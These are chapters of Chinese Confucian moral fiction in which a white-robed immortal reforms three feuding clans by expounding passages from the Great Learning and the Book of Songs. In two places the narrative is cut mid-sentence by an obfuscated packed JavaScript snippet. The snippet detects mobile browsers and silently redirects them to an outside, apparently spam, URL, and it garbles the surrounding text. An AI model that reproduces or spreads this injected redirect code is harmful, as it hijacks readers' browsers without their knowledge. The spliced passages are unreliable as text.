端阳佳节，宜家堡办“宜家祭”，三姓共主祭。忽有外堡流言：“宜家堡伪善，内里龃龉。”堡民愤，欲辩。来人止之，召三姓家主并堡中耆老，会于三诗壁下。 是日，祭典方启，主祭人正吟《桃夭》诗，忽闻祭坛中央那尊三足青铜大鼎发出“嗡”然长鸣——鼎内本焚着香檀，此刻青烟缭绕，竟自鼎腹中凝出一道人形，由虚化实，踏烟而下。 来人帷笠素纱，白衣胜雪，木剑悬腰，立于鼎沿之上，衣袂与青烟共舞。 “善哉！三家已得宜家之要。”来人朗声道，“桃之夭夭，其叶蓁蓁。家宜，则如桃之繁茂；宜兄宜弟，则如松之长青；其仪不忒，则如龟之贞固。今三家能宜，堡中从之，正是四国之本。” 飞身而下，如白鹤栖松，点尘不惊。取木剑刻壁下石地： 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091289|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“宜家三要： 一宜家人，婆媳和，室家宁； 二宜兄弟，手足睦，家业兴； 三宜仪则，父子正，礼法明。 三宜既备，家道乃成； 家道既成，可教国人； 国人既教，四国可正。 此谓治国在齐其家。” 刻毕，堡中有不谐者惭，有相争者悔。外堡探子混迹人群中，见状叹服，归传“宜家堡真仁里也”，流言自息。 来人登壁顶，临风而立，诵《诗》三章，声清越如磬。诵罢，谓众曰：“其为父子兄弟足法，而后民法之也。今三家足法，堡民岂不效法？堡民效法，邻堡岂不慕化？风化之行，自近及远，此之谓也。” 秦公拜问：“先生将去，何以长宜？” 来人指心：“宜家在宜心。婆媳宜，在慈孝心；兄弟宜，在友恭心；父子宜，在严慈心。心宜，则家宜；家宜，则国宜。何需外求？” 言毕，纵身跃上三诗壁顶，足尖一点“其仪不忒”之“忒”字，身形如白虹经天，没入云中。众人仰观，唯见壁诗光华流转，桃松龟纹栩栩如生。 尾声宜家谣 十年后，宜家堡更名“三宜镇”。三姓互通婚姻，无分彼此。镇中设“宜家塾”，童蒙入学，先诵三诗。有游宦过境，见镇中“路不拾遗，夜不闭户”，问：“此镇何治若此？” 老者答：“家宜则镇治。” “何以宜家？” 童子诵《宜家谣》： “治国先要齐其家， 齐家三要须分明。 一宜家人婆媳和， 桃之夭夭叶蓁蓁。 二宜兄弟手足睦， 宜兄宜弟家业兴。 三宜仪则父子正， 其仪不忒四国正。 父子兄弟足法后， 而后民方效法行。 三家当初迷此理， 三诗壁前点醒明。” 游宦叹服。是夜，宿镇中，梦来人踏月而至，以木剑点其额：“子治一部，可曾宜家？可宜家人？可宜兄弟？可正仪则？其为父子兄弟足法，而后民法之。子可足法？” 游宦惊寤，汗透重衣。翌日，辞官归乡，先和妻孥，友兄弟，正父子。三年后，复出为官，治部有方，民颂“宜家大夫”。 镇中三诗壁，后人建“宜家阁”护之，阁悬联：“桃夭松茂龟寿，家齐国治天下平”。有家不谐者临壁，壁面自现家事诗训。人传：“此乃白衣仙人所留宜家鉴也。” 本章诫世 一、 宜家三要 - 宜其家人（桃夭篇）——婆媳和，室家宁 - 宜兄宜弟（常棣篇）——兄弟睦，家业兴 - 其仪不忒（鸤鸠篇）——父子正，礼法明 - 破解法：欲齐家，先自问：我家可宜？家人和否？兄弟睦否？仪则正否？ 二、 教国根基 - 宜其家人，而后可以教国人；宜兄宜弟，而后可以教国人；其仪不忒，正是四国 - 惕世：多少人对外仁义，家宅不宁？多少人教人以严，待亲以苛？家不宜，何以教人？ - 反思：我可为家人典范否？父子兄弟足法，而后民法之。我足法乎？ 三、 风化之始 - 其为父子兄弟足法，而后民法之也 - 深层隐喻：治国在齐家，齐家在修身。家齐，则身修之验；家齐，则国治之基 - 终极指向：宜家非独善一家，是立典范以风化四方。一家宜，一家化；百家宜，一乡化；万家宜，一国化 宜家偈： 宜家堡里三家争，家不宜兮妄教人。 秦家婆媳如水火，楚氏兄弟似仇雠。 齐家父子悖礼法，三家不齐国岂宁？ 白衣点破宜家道，三诗壁前指迷津。 桃夭蓁蓁宜家人，兄弟宜兮家业兴。 仪则不忒正四国，父子兄弟足法行。 后世叹： 桃之夭夭叶蓁蓁，之子于归宜家人。 宜兄宜弟家和睦，其仪不忒正四邻。 三家当初迷此理，家不宜兮妄教民。 白衣壁前指三要，宜家而后可化人。 正是： 治国在齐其家门，宜家三要须分明。 桃夭蓁蓁宜家室，之子于归宜家人。 宜兄宜弟手足睦，其仪不忒正四邻。 父子兄弟足法后，而后民法效法行。 三诗壁前三家讼，白衣指点宜家经。 75.絜矩谳 楔子·六方碑 沅水出峡处有山城名“絜矩邑”，城中有“六方台”，台立“絜矩碑”，碑镌经文：“所恶于上，毋以使下；所恶于下，毋以事上；所恶于前，毋以先后；所恶于后，毋以从前；所恶于右，毋以交于左；所恶于左，毋以交于右。”笔力沉雄，传为前代兵圣以剑锋刻石，喻“上下前后左右”六方之道。 然百年烽火，碑石残损。邑中六姓世家：钟氏苛下媚上，陈氏欺前畏后，林氏骗右妒左。三族各执一偏，然皆以“礼义传家”自诩，邑中风气浇漓，弱肉强食。 是年霜降，絜矩碑忽现异象：“上、下”二字渗血，“前、后”二字生苔，“左、右”二字错位。三姓家主观碑，各怀鬼胎。 九月九，重阳节，邑中演古战阵“六合阵”。正演至“前后相顾”一节，忽闻阵中主旗“咔嚓”裂响——那杆三丈高的杏黄大纛，旗杆竟自中裂开，一人自旗杆裂缝中飘然而出，如白鹤展翅，落于将台。 来人头戴素纱帷笠，笠檐垂及肩的月白轻纱，面覆同色鲛绡，只透出两点寒星般的眸光；着一身云纹素罗深衣，衣摆以银丝绣着六边形纹，暗合六方，行动时纹路流转，似蕴玄机。外罩一件无袖素纱氅衣，氅角缀六枚玉珏，珏珏相衔却寂然无声。腰束玄色丝绦，悬一柄无鞘木剑，剑身纹理如经纬纵横，似藏天地规矩。足踏素锦登云履，履尖微翘，不染尘埃。 身形挺拔，立于裂旗之侧，帷笠轻纱与阵旗同扬，竟似从战阵中化出的军魂。台下观者骇然，分不清是演是真。 来人以木剑轻点将台，声如金戈： “上老老而民兴孝！” 又点： “上长长而民兴弟！” 再点： “上恤孤而民不倍！” 诵罢，木剑遥指絜矩碑：“三姓家主，可愿登台观碑？” 钟、陈、林三公相顾失色。来人飘然下台，衣袂如流云舒卷：“某有三桩‘絜矩’公案，可请三公分观。观毕，再论平天下。” 一、 上下谳（钟氏） 钟氏三世为吏，家主钟公，现任邑丞。对上谄媚，对下苛酷。昨日，郡守遣使巡查，钟公盛宴款待，歌舞通宵；而狱中囚粮克扣，饿毙三人。邑民敢怒不敢言。 来人引钟公至“上下”碑前。二字渗血，以指拭之，腥气扑鼻。钟公掩鼻。 “所恶于上，毋以使下。”来人问，“钟公恶郡守苛索否？” 钟公赧然：“上命难违…” “既恶苛索，何以苛囚？”来人取狱册，翻至饿毙者名，“此三人罪不至死，然毙于饿。是国法杀之，是公杀之？” 钟公汗出。来人又引至钟宅，见马厩中粟米盈仓，而狱灶冷清。指马厩问：“马食与人食，孰贵？” “自然…人贵。” “然公以人食饲马，以马食饲囚，是贵马贱人，何也？” 钟公语塞。来人叹：“上老老而民兴孝。今公不恤下，民何以孝？上长长而民兴弟。今公不慈下，民何以悌？絜矩之道，在己所不欲，勿施于人。公恶上苛，而苛下更甚，是自悖其矩。” 又取郡守索贿清单：“公恶此单，然转索于商贾。是恶于上，而施于下，矩何在？” 钟公伏地泣，即开仓赈囚，自劾其罪。郡守闻之，亦惭，减征赋三成。是夜，“上下”二字血渍渐淡。来人教“上下法”：待上以忠，待下以恕。钟公自此持平，邑狱无冤。 二、 前后谳（陈氏） 陈氏为商，家主陈公。对前倨后恭：昔日贫时，曾受米商周济，今富，反欺周氏子孙；昔日蒙师教诲，今贵，反鄙蒙师清贫。昨日，周孙乞贷，陈公叱“贱种”；蒙师病笃，陈公闭门不纳。 来人引陈公至“前后”碑前。二字生苔，触之湿滑，如泪痕。陈公缩手。 “所恶于前，毋以先后。”来人问，“陈公恶昔年周氏施恩图报否？” 陈公嗫嚅：“彼确有望报之心…” “既恶图报，何以负恩？”来人取陈公旧年借据，上有周氏印：“借米十石，誓不相忘”。又取陈公昨日叱周孙语：“贱种安敢登门”。两相对照，陈公面赤。 来人又引至蒙师旧宅，茅屋三椽，药炉冷寂。问：“师昔年授公《絜矩》章，可记得？” 陈公垂首。来人曰：“所恶于后，毋以从前。公恶后人负恩，今负前恩，是自食其言。前为因，后为果。种瓜得瓜，种豆得豆。今公种荆棘，欲得嘉禾，可乎？” 取壁上青苔，示陈公：“苔生石上，因石湿；怨生人心，因心寒。今周孙寒，蒙师寒，公心可安？” 陈公泣，即携米帛探蒙师，偿周孙十倍。又设“义报堂”，凡受恩必报。邑中富户感召，多行义举。是夜，“前后”二字苔迹渐褪。来人教“前后法”：不忘前恩，不负后望。陈氏商号，自此“信义”著于四方。 三、 左右谳（林氏） 林氏为匠，家主林公，善营造。然对右（邻坊）欺诈，以次料充好；对左（同宗）嫉妒，暗毁其工。昨日，右坊订梁柱，林公以朽木充数；左宗建书楼，林公暗松其础。事发，右坊索赔，左宗绝交。 来人引林公至“左右”碑前。二字错位，以手推之，纹丝不动。林公骇。 “所恶于右，毋以交于左；所恶于左，毋以交于右。”来人问，“林公恶右坊以次货欺公否？” 林公赧然：“彼…确有不是。” “既恶欺人，何以欺人？”来人取朽木与良材并列：“此木可充梁否？” “不可…” “然公以之充梁，是欺人，是欺心？”又引至书楼，础石松动，危如累卵。“左宗与公同祖，公毁其楼，是毁祖业，何也？” 林公汗下。来人叹：“絜矩之道，在将心比心。公恶右欺，而欺右更甚；恶左妒，而妒左更毒。是自绝左右，孤立无援。上恤孤而民不倍，今公不恤同宗，民岂不倍？” 取错位碑字，以木剑轻击，字复归位。“左、右本相辅，如手如足。今公自伤手足，何以营生？” 林公大恸，即赔右坊，修左楼，更与左右盟誓：“永不相欺。”是夜，“左右”二字复正。来人教“左右法”：交右以信，待左以诚。林氏工坊，自此“坚牢”驰名。 四、 絜矩会 三姓悔改，聚于六方台。来人指絜矩碑： “所谓平天下在治其国者，上老老而民兴孝，上长长而民兴弟，上恤孤而民不倍。今三公为邑中望，上行下效，犹风偃草。公等能正己，则民自正；公等能恕人，则民自恕。” 钟公问：“吾等已改，然邑中仍有弱肉强食，何以化之？” “以絜矩之道化之。”来人召邑民聚台下，令三公自述其过。 钟公述上下苛：“吾苛下媚上，今知罪矣。所恶于上，毋以使下。愿与诸公共守此矩。” 陈公述前后负：“吾负前恩，今知悔矣。所恶于后，毋以从前。愿设义报堂，泽被乡里。” 林公述左右欺：“吾欺左右，今知耻矣。所恶于右，毋以交于左。愿与诸坊同心戮力。” 邑民闻之，有感泣者。有欺下者惭，有负恩者悔，有欺邻者羞。三月间，邑中讼事十去七八。 来人教“絜矩化民法”：择邑中长者，立“絜矩堂”，每月朔望，聚于六方台下，以“己所不欲，勿施于人”相劝勉。又制“絜矩牌”，家家悬户，以为警醒。 五、 平天下谳 冬至，絜矩邑办“絜矩祭”，三姓共主祭。忽有外邑豪强来犯，欲夺邑中盐井。邑民愤，欲战。来人止之，召三姓家主并邑中耆老，会于六方台。 是日，祭典方启，主祭人正诵“上老老而民兴孝”，忽闻祭坛中央那尊六足青铜大鼎发出“轰”然震鸣——鼎内本焚着百草，此刻烟气蒸腾，竟自鼎腹中凝出一道人形，踏烟步虚，如履平地。 来人帷笠素纱，白衣胜雪，木剑悬腰，立于鼎耳之上，衣袂与烟气同旋。 “善哉！三公已得絜矩之要。”来人朗声道，“所谓平天下在治其国者，在絜矩之道。今豪强来夺，是彼失矩；我若以暴制暴，是亦失矩。当以矩化之。” 飞身而下，如白鹤穿云，点尘不惊。取木剑画地成图：“盐井六口，分属六坊。今豪强欲独吞，是贪；我可让一口与之，是仁；然约法三章：取盐必平价，用工必予值，伤民必偿命。彼若从，是化其贪；彼若不从，是自绝于道，天必厌之。” 三公从之，遣使与豪强约。豪强嗤：“弱邑何敢言约？”使者正色：“絜矩之道，强弱共守。公恶人夺井，今夺人井，是恶于上而施于下，可乎？” 豪强语塞。其军师谏：“此邑以矩服人，我若强夺，失道寡助。”豪强悟 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治国先要守絜矩。 上老老兮民兴孝， 上长长兮民兴弟。 上恤孤兮民不倍， 君子有絜矩之道。 所恶于上勿使下， 所恶于下勿事上。 所恶前后与左右， 勿以施人自守常。 三姓当初迷此理， 六方碑前指矩方。” 游侠叹服。是夜，宿城中，梦来人踏月而至，以木剑点其额：“子行江湖，可守矩否？所恶于强，毋以欺弱；所恶于弱，毋以谄强；所恶于前，毋以负后；所恶于左，毋以欺右。矩在心中，行自方正。” 游侠惊寤，汗透重衣。翌日，焚债券，释俘囚，散财济贫。后成“义侠”，名动江湖。 城中絜矩碑，后人建“六合亭”护之，亭悬联：“上下前后左右矩，天地东西南北平”。有违矩者临碑，碑面自现警语。人传：“此乃白衣仙人所留絜矩鉴也。” 本章诫世 一、 絜矩六方 - 上下、前后、左右，六方皆需守矩 - 破解法：待人接物，自问“我所恶者，可施于人？”若否，则止 - 示例：三姓各违一矩：钟氏违上下，陈氏违前后，林氏违左右 二、 上行下效 - 上老老而民兴孝，上长长而民兴弟，上恤孤而民不倍 - 惕世：多少人苛下媚上？多少人忘恩负义？多少人欺邻妒友？已所不欲，偏施于人！ - 反思：我于上下、前后、左右，可守矩否？可曾“所恶于上，而施于下”？ 三、 平天下之基 - 君子有絜矩之道也…此之谓絜矩之道 - 深层隐喻：矩在心，则行在矩；矩在行，则家在矩；矩在家，则国在矩；矩在国，则天下在矩 - 终极指向：平天下在治其国，治其国在齐其家，齐其家在修其身，修身在正其心，正心在诚其意，诚意在致其知，致知在格物。絜矩之道，贯通始终 絜矩偈： 絜矩邑中三姓偏，上下前后左右愆。 钟氏媚上苛下酷，陈氏负前欺后奸。 林氏骗右妒左毒，三姓违矩邑不宁。 白衣点破絜矩道，六方碑前指矩箴。 上老老兮民兴孝，上长长兮民兴悌。 所恶于上勿使下，所恶于下勿事上。 前后左右皆如是，守矩在心天下平。 后世叹： 所谓平天治其国，絜矩之道要分明。 上老老而民兴孝，上恤孤而民不倍。 所恶于上勿使下，所恶于下勿事上。 前后左右皆类推，君子守矩天下平。 三姓当初迷此理，碑前点醒矩中行。 正是： 平天下在治其国，治国务要守絜矩。 上老老而民兴孝，上长长而民兴弟。 上恤孤而民不倍，君子有絜矩之道。 所恶于上勿使下，所恶于下勿事上。 所恶前后与左右，勿以施人自守常。 三姓当初违此矩，六方碑前指迷航。 76.父母谳 楔子·三诗石 岷江之畔有山城名“瞻南山城”，城北有“父母台”，台立“三诗石”，石分三面，分镌《诗经》三章：东面“乐只君子，民之父母”；南面“节彼南山，维石岩岩。赫赫师尹，民具尔瞻”；西面“殷之未丧师，克配上帝。仪监于殷，峻命不易”。字迹苍古，传为前代贤臣以佩剑刻就，喻“为君为官之道”。 然百年离乱，石面斑驳。城中三大姓：孟氏为城主，贪敛好奢；仲氏为将门，暴虐寡恩；季氏为世族，骄横妒贤。三家皆“民之父母”自居，然行止乖悖，民怨沸腾。 是年惊蛰，三诗石忽现异象：“民之父母”四字渗血如泪；“民具尔瞻”四字龟裂如怒目；“峻命不易”四字灰暗如死铁。三姓家主观石，各怀鬼胎。 三月三，上巳节，城中演古乐《南山》。正奏至“民具尔瞻”乐章，忽闻主磬“铿”然裂响——那口重达百斤的青玉大磬，磬体竟自中裂开，一人自磬腹中飘然而出，如白鹤破玉，落于祭坛。 来人头戴素纱帷笠，笠檐垂及肩的月白轻纱，面覆同色鲛绡，只透出两点寒潭般的眸光；着一身云纹素罗深衣，衣摆以银丝绣着三重山峦纹，暗合“南山”之象，行动时山峦起伏，似有风云涌动。外罩一件无袖素纱氅衣，氅角缀三枚玉珏，珏珏相叠却寂然无声。腰束玄色丝绦，悬一柄无鞘木剑，剑身纹理如层岩叠嶂，似藏万古沧桑。足踏素锦步云履，履尖微翘，不染尘埃。 身形清癯，立于裂磬之侧，帷笠轻纱与祭坛幡旗同扬，竟似从磬声中化出的仙灵。台下观者骇然，分不清是乐是幻。 来人以木剑轻敲裂磬，声如裂帛： “民之所好好之，民之所恶恶之！” 又敲： “有国者不可以不慎！” 再敲： “道得众则得国，失众则失国！” 诵罢，木剑遥指三诗石：“三姓家主，可愿登台观石？” 孟、仲、季三公相顾失色。来人飘然下台，衣袂如流云舒卷：“某有三桩‘父母’公案，可请三公分观。观毕，再论得失。” 一、 民之父母谳（孟氏） 孟氏世袭城主，家主孟公。自称“民之父母”，然行止悖逆：民好俭朴，彼好奢靡，加税筑华园；民恶酷吏，彼用贪官，纵仆欺市井。昨日，为建“揽月楼”，强征民田百亩，老农阻挠，被鞭笞下狱。 来人引孟公至“民之父母”石前。四字渗血，以指触之，温热如泪。孟公蹙眉。 “乐只君子，民之父母。”来人问，“孟公可为民父母否？” 孟公强道：“吾养民如子…” “民之所好好之，民之所恶恶之。此之谓民之父母。”来人取民意册，上录民怨三百条：“民好轻赋，公加税；民恶贪官，公用赃；民好俭朴，公好奢。是顺民，是逆民？” 孟公汗出。来人又引至揽月楼址，见民田被毁，麦苗践踏，老农囚于木笼。问：“父母可夺子田？可囚子身？” 孟公语塞。来人叹：“殷之未丧师，克配上帝。仪监于殷，峻命不易。殷纣失民心而丧国，公欲效之乎？” 取石上血泪，抹于孟公掌：“此民之血泪。公自称父母，而饮子血，食子肉，是何父母？” 孟公大恸，即释老农，还其田，罢揽月楼，开仓济贫。是夜，“民之父母”四字血渍渐淡。来人教“父母法”：视民如子，好民所好，恶民所恶。孟公自此简朴，罢苛税，民颂“孟公仁”。 二、 民具尔瞻谳（仲氏） 仲氏为将门，家主仲公，掌城防。赫赫威严，民畏如虎。然暴虐寡恩：士卒有功不赏，小过重罚；民讼不察，动辄鞭挞。昨日，小卒失手打碎瓷碗，仲公令鞭五十，奄奄一息；老妪诉子被豪强殴，仲公斥“刁民滋事”，驱之门外。 来人引仲公至“民具尔瞻”石前。四字龟裂，以手抚之，纹如怒目。仲公缩手。 “节彼南山，维石岩岩。赫赫师尹，民具尔瞻。”来人问，“仲公赫赫，民瞻公何为？” 仲公傲然：“瞻吾威仪…” “民瞻公之仁，非瞻公之威。”来人取军册，记仲公罚卒百例，赏卒不过十。“小过重罚，是立威，是失仁？民诉冤不察，是明断，是昏聩？” 仲公赧然。来人又引至军营，见伤卒卧草铺，无医无药；老妪跪营外，泣诉不止。问：“为将者，不爱卒，民岂附？为官者，不察冤，民岂服？” 取石上裂痕，示仲公：“石裂因内损，民怨因内腐。公苛卒虐民，犹自损基石。基石损，大厦倾，公赫赫威严，可倚乎？” 仲公惭，即延医治卒，重审老妪案，惩豪强，偿其子。又设“明察堂”，凡民讼必细审。是夜，“民具尔瞻”四字裂痕渐合。来人教“尔瞻法”：民之所瞻，在德不在威。仲公自此宽严相济，士卒用命，民颂“仲公明”。 三、 峻命不易谳（季氏） 季氏为世族，家主季公，掌礼教。骄横妒贤：族中子弟有才者压之，寒门士子有能者阻之。昨日，族侄季文作《安民策》，季公斥“狂妄”，禁其入仕；寒士柳生诗才冠绝，季公黜其科考。城中才俊，多怀愤懑。 来人引季公至“峻命不易”石前。四字灰暗，以手扣之，声如朽木。季公骇。 “仪监于殷，峻命不易。”来人问，“季公可知天命不易？” 季公强道：“天命在德…” “道得众则得国，失众则失国。得众在得才，失才如失臂。”来人取季氏家谱，百年间出仕者三十七人，然政声卓著者不过三五。“余者皆庸碌，何也？” “此…时运不济。” “非时运，是妒贤。”来人又取《安民策》与柳生诗：“此文可安民，此诗可感世。公压之黜之，是爱才，是害才？殷纣囚箕子、杀比干，失贤而丧国。公欲效之乎？” 季公汗出。来人叹：“峻命不易，在得人。公妒贤嫉能，犹自断股肱。股肱断，何以行？天命去，何以存？” 取石上灰暗处，以木剑轻刮，露出玉质：“石本玉，蒙尘则暗；才本俊，受压则晦。公为世族，当为天下举贤，何以蔽贤？” 季公泣，即荐季文为吏，聘柳生为塾师，更设“荐贤堂”，凡有才者必举。是夜，“峻命不易”四字渐复光华。来人教“得众法”：得众在得心，得心在得贤。季氏自此门风开明，贤才辈出。 四、 得失会 三姓悔改，聚于父母台。来人指三诗石： “有国者不可以不慎。辟则为天下僇矣。今三公为城中尊，一举一动，民皆瞻之。公慎，则民安；公辟，则民乱。” 孟公问：“吾等已改，然城中仍有豪强欺民，何以治之？” “以父母之心治之。”来人召城民聚台下，令三公自陈其过。 孟公陈奢虐：“吾奢靡虐民，今知罪矣。民之所好好之，民之所恶恶之。愿与民同好恶。” 仲公陈暴苛：“吾暴苛失仁，今知悔矣。赫赫师尹，民具尔瞻。愿以德立威，不以暴立威。” 季公陈妒贤：“吾妒贤蔽才，今知耻矣。道得众则得国，失众则失国。愿为天下举贤。” 城民闻之，欢声雷动。有豪强惭，有酷吏悔，有妒者羞。三月间，城风大治。 来人教“父母化民法”：择城中贤者，立“父母堂”，每月朔望，聚于台下，以“民之父母”相惕励。又制“瞻仰牌”，上书“民具尔瞻”，悬于公门，以为警醒。 五、 得失国谳 端阳，瞻南山城办“父母祭”，三姓共主祭。忽有外寇来犯，号称十万。城民惊，欲弃城。来人止之，召三姓家主并城中耆老，会于父母台。 是日，祭典方启，主祭人正诵“峻命不易”，忽闻祭坛中央那尊三足青铜大鼎发出“嗡”然长鸣——鼎内本焚着香蒿，此刻青烟缭绕，竟自鼎腹中凝出一道人形，踏烟步虚，如登天阶。 来人帷笠素纱，白衣胜雪，木剑悬腰，立于鼎耳之上，衣袂与香烟同旋。 “善哉！三公已得父母之道。”来人朗声道，“道得众则得国，失众则失国。今外寇来犯，是彼失道；我若弃民，是亦失道。当以父母之心守城。” 飞身而下，如白鹤掠地，点尘不惊。取木剑画地成图：“寇虽众，乌合也；我虽寡，同心也。孟公散财犒军，仲公整军守城，季公撰檄文鼓气。民为父母，必效死力。” 三公从之。孟公尽散家财，犒赏军民；仲公亲冒矢石，守于城头；季公作《保城赋》，全城传诵。军民感泣，誓同生死。三日血战，外寇见城不可下，又闻檄文中“民之所好好之，民之所恶恶之，此谓民之父母。尔等暴虐，民皆恶之，天必诛之”等语，士气沮丧，竟一夜溃去。 城中文士叹曰：“昔孟公贪奢，仲公暴虐，季公妒贤，民心离散。今三公改过，民皆效死，此谓‘得众则得国’也！” 来人登台顶，临风而立，诵《诗》三章，声清越如磬。诵罢，谓众曰：“乐只君子，民之父母。父母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098580|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱子，子岂不孝？民具尔瞻，瞻其德也。有国者不可以不慎，辟则为天下僇矣。殷鉴不远，在夏后之世。三公慎之！” 孟公拜问：“先生将去，何以长守？” 来人指心：“父母之心，在汝胸中。但时时自问：民之所好，我好否？民之所恶，我恶否？若然，则为真父母矣。” 言毕，纵身跃上三诗石顶，足尖一点“瞻”字，身形如白虹贯月，没入云中。众人仰观，唯见石上诗文光华流转，如日如月。 尾声父母谣 十年后，瞻南山城更名“父母邑”。三姓互通婚姻，无分贵贱。邑中设“父母塾”，童蒙入学，先诵三诗。有游学书生过境，见邑中“路不拾遗，夜不闭户，老幼皆有所养”，问：“此邑何治若此？” 老者答：“官民如父母子女。” “何以至此？” 童子诵《父母谣》： “治国要在得民心， 得民要在为父母。 民之所好好好之， 民之所恶恶恶之。 此谓民之父母道， 赫赫师尹民具瞻。 有国不可不谨慎， 辟则为天下所戮。 殷未丧师配上帝， 仪监于殷命不易。 道得众则得国兮， 失众则失国要记。 三姓当初迷此理， 诗石前指父母经。” 书生叹服。是夜，宿邑中，梦来人踏月而至，以木剑点其额：“子若为官，可为父母否？民好俭，子可俭？民恶贪，子可清？民瞻尔德，子可有德？得众得国，失众失国。子可慎之？” 书生惊寤，汗透重衣。翌日，焚行卷，归乡苦读。三年后中进士，为官清正，民颂“父母官”。 邑中三诗石，后人建“父母阁”护之，阁悬联：“乐只君子民父母，赫赫师尹民具瞻”。有官吏临石，石面自现民瘼。人传：“此乃白衣仙人所留父母鉴也。” 本章诫世 一、 民之父母三要 - 民之所好好之，民之所恶恶之（乐只君子章） - 有国者不可以不慎，辟则为天下僇矣（节彼南山章） - 道得众则得国，失众则失国（殷鉴章） - 破解法：为官为长，自问“我可为民父母？我好好恶恶，同于民否？我谨慎否？我得众否？” 二、 三姓三失 - 孟氏失“好恶”——民好俭恶奢，彼反其道 - 仲氏失“谨慎”——民瞻其德，彼逞其威 - 季氏失“得众”——民望得贤，彼反妒贤 - 惕世：多少官吏自称父母，而行同豺虎？多少权贵赫赫威严，而德不配位？多少世族骄横妒贤，而自掘坟墓？ 三、 得失之机 - 道得众则得国，失众则失国 - 深层隐喻：得众在得心，得心在顺德。顺民好恶，慎行谨言，举贤任能，则民附；逆民好恶，肆行妄言，蔽贤嫉能，则民离 - 终极指向：治国平天下，在为民父母。父母爱子，则子孝；官爱民，则民忠。此不易之理也 父母偈： 瞻南山城三姓偏，父母之道各失全。 孟氏逆民好恶心，奢虐加征民怨深。 仲氏暴虐失谨慎，民具尔瞻瞻其愆。 季氏妒贤失众道，蔽才压俊天命迁。 三姓迷途不知返，诗石斑驳血泪涟。 白衣点破父母理，三诗石前指玄渊。 民之所好好恶恶，方为民之父母焉。 赫赫师尹民具瞻，有国慎辟免僇愆。 仪监于殷峻不易，得众得国失众颠。 后世叹： 乐只君子民父母，民好好之恶恶之。 赫赫师尹民具瞻，有国不慎僇随之。 殷未丧师配上帝，仪监于殷命不易。 得众得国失众失，三姓当初皆背驰。 诗石斑驳血泪现，白衣指点父母司。 正是： 治国平天下父母，民好好之恶恶之。 乐只君子民父母，此谓民之父母道。 节彼南山石岩岩，赫赫师尹民具瞻。 有国不可不谨慎，辟则为天下所僇。 殷未丧师配上帝，仪监于殷命不易。 道得众则得国兮，失众则失国要记。 三姓当初迷此理，诗石前指父母义。 77.德本谳 楔子·聚散碑 沅陵有山城名“积金城”，城西“聚散台”上立古碑，碑文斑驳可辨：“德者，本也；财者，末也。外本内末，争民施夺。是故财聚则民散，财散则民聚。”相传为前代贤臣刻石警世，风雨百年，字迹渐蚀。 城中富室三姓：金氏聚财如命，仓廪溢粟而佃户啼饥；钱氏重利轻义，放债盘剥致家破人亡；谷氏奢靡无度，一饭千金而路有冻骨。三姓皆以“积善之家”自诩，然行事悖德，民怨暗涌。 是年谷雨，聚散碑忽生异象：“德”字龟裂如蛛网，“财”字反光如镜，碑根渗出血色露珠。三姓家主聚观，各怀忐忑。 四月八，佛诞日，城中演《目连救母》杂剧。正演至“地狱施金”一节，忽闻台上那尊三尺高的铜制“聚宝盆”道具“嗡”然长鸣——铜盆中本盛着纸元宝，此刻纸元宝无风自燃，青烟升腾中，一人自盆中踏焰而出，白衣不染。 来人头戴素纱帷笠，笠檐垂及肩的月白轻纱，面覆同色鲛绡，只透出两点寒星般的眸光；着一身云纹素罗深衣，衣摆以银丝绣着太极两仪，行动时阴阳流转，暗合“本末”之意。外罩一件无袖素纱氅衣，氅角缀两枚玉璧，一圆一方，相击无声。腰束玄色丝绦，悬一柄无鞘木剑，剑身纹理如老树年轮，隐现生死轮回。足踏素锦登云履，履尖微翘，不染尘埃。 身形清挺，立于燃尽的纸灰之上，帷笠轻纱与余烟同袅，竟似从财焰中化出的清魂。台下观者哗然，分不清是戏是幻。 来人以木剑轻拨铜盆，声如清磬： “君子先慎乎德！” 又拨： “有德此有人，有人此有土！” 再拨： “财聚则民散，财散则民聚！” 诵罢，木剑遥指聚散碑：“三姓家主，可愿登台观碑？” 金、钱、谷三公相顾愕然。来人飘然下台，衣袂如流云舒卷：“某有三桩‘德本’公案，可请三公分观。观毕，再论聚散。” 一、 德本财末谳（金氏） 金氏为粮商巨贾，家主金公。仓廪百座，积粟十年食不尽，然城中粮价奇昂，佃户卖儿鬻女。去岁旱灾，金公闭仓不粜，反抬价三倍，饿殍载道。有饥民跪门乞粮，金公叱：“吾粮非浪得，岂可轻与？” 来人引金公至聚散碑前。以手触“德”字裂纹，指尖沾灰；触“财”字反光，照见其贪婪面容。金公骇退。 “德者，本也；财者，末也。”来人问，“金公以何为本？” 金公强道：“勤俭为本…” “勤以致富，俭以持家，本是美德。”来人指向城外乱葬岗，“然公之富，乃囤积居奇所得；公之俭，乃见死不救所为。此非勤俭，是外本内末，争民施夺！” 取账簿一册：“去岁旱灾，公储粟三十万石，饿毙百姓四百余人。每石粟价，值几条人命？” 金公汗出。来人又引至金氏粮仓，但见粟米陈腐，鼠雀成群。问：“《大学》云‘有德此有人，有人此有土，有土此有财’。公有人否？有土否？粟腐仓中，民死路上，是聚财，是散德？” 金公颤不能答。来人叹：“财聚则民散。公聚粮如山，而民心离散如沙。倘有民变，公能独守此粟否？” 